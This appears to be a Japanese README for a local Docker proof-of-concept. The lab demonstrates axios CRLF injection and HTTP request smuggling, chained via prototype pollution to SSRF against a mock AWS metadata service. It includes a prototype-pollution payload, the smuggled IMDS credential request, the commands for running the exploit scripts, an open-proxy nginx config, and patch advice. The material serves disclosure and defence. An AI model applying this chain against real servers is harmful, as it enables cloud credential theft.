
AxiosにおけるCRLFインジェクションとHTTPリクエストスマグリングを実証する概念実証であり、プロトタイプ汚染を連鎖させてSSRFを達成し、IMDSなどの内部サービスにアクセスします。
| 項目 | 内容 |
|---|
| CVSS | 9.9 (Critical) |
| 影響バージョン | axios >=1.0.0 <1.15.0、axios <0.31.0 |
| パッチバージョン | 1.15.0、0.31.0 |
| CWE | CWE-93 Improper Neutralization of CRLF Sequences |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ で末尾のCRLFのみ除去
↑ 値の途中の \r\n はそのまま通過
結果として、ヘッダー値に\r\n\r\nGET /admin HTTP/1.1\r\n...を挿入すると
TCPストリームに2番目のHTTPリクエストがそのまま含まれる。
JavaScriptのすべてのオブジェクトはObject.prototypeを継承する。Prototype Pollutionはこの共有プロトタイプ自体を汚染し、以降に生成されるすべてのオブジェクトに影響を与える攻撃である。
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← 宣言していないのに存在する
脆弱な再帰的merge関数(lodash < 4.17.21、qsなど)が"__proto__"キーを特別に処理しない場合に発生する。
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// key = "__proto__" の場合:
// target["__proto__"] → Object.prototype を返す
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → Object.prototype に直接プロパティを注入
} else {
target[key] = source[key];
}
}
}
// 攻撃者JSON: __proto__ が own property としてパースされる
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← 汚染成功
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
アプリコード: const opts = {};
opts.headers → prototype chain → 汚染されたオブジェクトを返す
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← CRLF検証なし
↓
TCPストリームにスマグリングされたリクエストが含まれる
Object.prototype.headersを汚染すると、axios内部のschemaオブジェクトにも影響が及ぶ。
assertOptions(config, schema) 呼び出し時
schema['headers'] → prototype chain → 汚染されたオブジェクトを返す
validator(value) → オブジェクトを関数として呼び出し → TypeError
実際の攻撃では汚染範囲を精密に制御する必要があり、広範囲な汚染は意図した攻撃の前にアプリ自体をクラッシュさせる可能性がある(DoSの副作用)。
[1] 直接ヘッダー注入またはPrototype Pollution (脆弱なmergeライブラリ経由)
↓
[2] axiosがCRLFを含む値を検証なしでヘッダーとしてシリアライズ
↓
[3] raw net.Socket でTCPストリームに書き込み
(Node.js標準のhttpモジュールはランタイムでブロック → custom adapterが必要)
↓
[4] nginx (proxy_pass http://$http_host) が2つのリクエストとして分離パース
↓
[5] スマグリングされたリクエストのHostヘッダーに基づいて別のupstreamへルーティング (SSRF)
↓
[6] 内部サーバー(IMDSなど)へアクセス → クレデンシャル窃取
| 条件 | 内容 |
|---|---|
| Node.js httpモジュールの回避 | net.Socketベースのcustom adapterを使用 |
| nginxオープンプロキシ | proxy_pass http://$http_host設定 |
ignore_invalid_headers on | 不正なヘッダーを許可 |
resolverディレクティブ | 動的ホスト名解決が可能 |
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ │
│ test-axios-adapter-*.js │
│ (raw net.Socket → nginx:8080) │
│ │
│ browser → exploit.html (3003) │
│ → relay (3004) → raw socket → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Docker bridge (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (future)
:3001 :8080 :80
:3003 (169.254.169.254 mock)
:3004
| ポート | サービス | 役割 |
|---|---|---|
| 3001 | backend | HTTPリクエスト受信 / ヘッダーロギング |
| 3003 | backend | exploit.html静的サーバー |
| 3004 | backend | relay — browser POST → net.Socket変換 |
| 8080 | nginx | オープンプロキシ (proxy_pass http://$http_host) |
| 80 (内部) | imds | AWS IMDSv2 mockサーバー |
# 全コンテナのビルドと起動
docker compose up --build
# Node.jsテスト (ホストで実行)
npm install
# 1. バックエンド直接 — CRLFインジェクションで2つのリクエスト発生
node poc/test-axios-adapter-backend.js
# 2. nginx経由 — スマグリングされたリクエストが backend:3001 へルーティング
node poc/test-axios-adapter-nginx.js
# 3. Prototype Pollution → CRLF Injection → SSRFチェーン
node poc/test-prototype-pollution.js
# 4. ブラウザ — http://localhost:3003
# 対象選択: バックエンド直接 / nginx経由 / nginx → IMDS (SSRF)
1. nginx → IMDS選択後、Custom Adapterを実行
2. スマグリングされたリクエスト: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginxが host=imds でルーティング → IMDSv2 mockサーバーへ転送
4. imdsコンテナログ: [!!!] クレデンシャル窃取成功!
.
├── docker-compose.yml
├── Dockerfile.backend # backend + relayコンテナ
├── Dockerfile.imds # IMDSv2 mockコンテナ
├── package.json # [email protected] (脆弱バージョン固定)
└── poc/
├── backend-server.js # HTTPサーバー (3001)、relay (3004)、静的サーバー (3003)
├── mock-imds.js # AWS IMDSv2 mock (PUT /token、GET /credentials)
├── nginx-container.conf # オープンプロキシ設定
├── exploit.html # ブラウザPoC (XHR vs Custom Adapter)
├── test-axios-adapter-backend.js # raw socket → backend直接
├── test-axios-adapter-nginx.js # raw socket → nginx → backend/imds
├── test-axios-no-adapter.js # 標準axios (Node.jsブロック確認用)
└── test-prototype-pollution.js # Prototype Pollution → CRLF Injectionチェーン
resolver 127.0.0.11 valid=30s; # Docker内部DNS
location / {
proxy_pass http://$http_host; # Hostヘッダーベースの動的ルーティング = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # 正常リクエスト用の固定upstream
}
$http_host(ポート含む)をupstreamとして使用するため、スマグリングされたリクエストのHostヘッダーが
そのままルーティング先になる。
npm install axios@^1.15.0
パッチ(1.15.0)はassertValidHeaderValue()を導入し、CR/LFを含む値を即座に拒否する。
追加の防御:
proxy_pass http://$http_hostを禁止 → 固定upstreamを使用HttpTokens: required)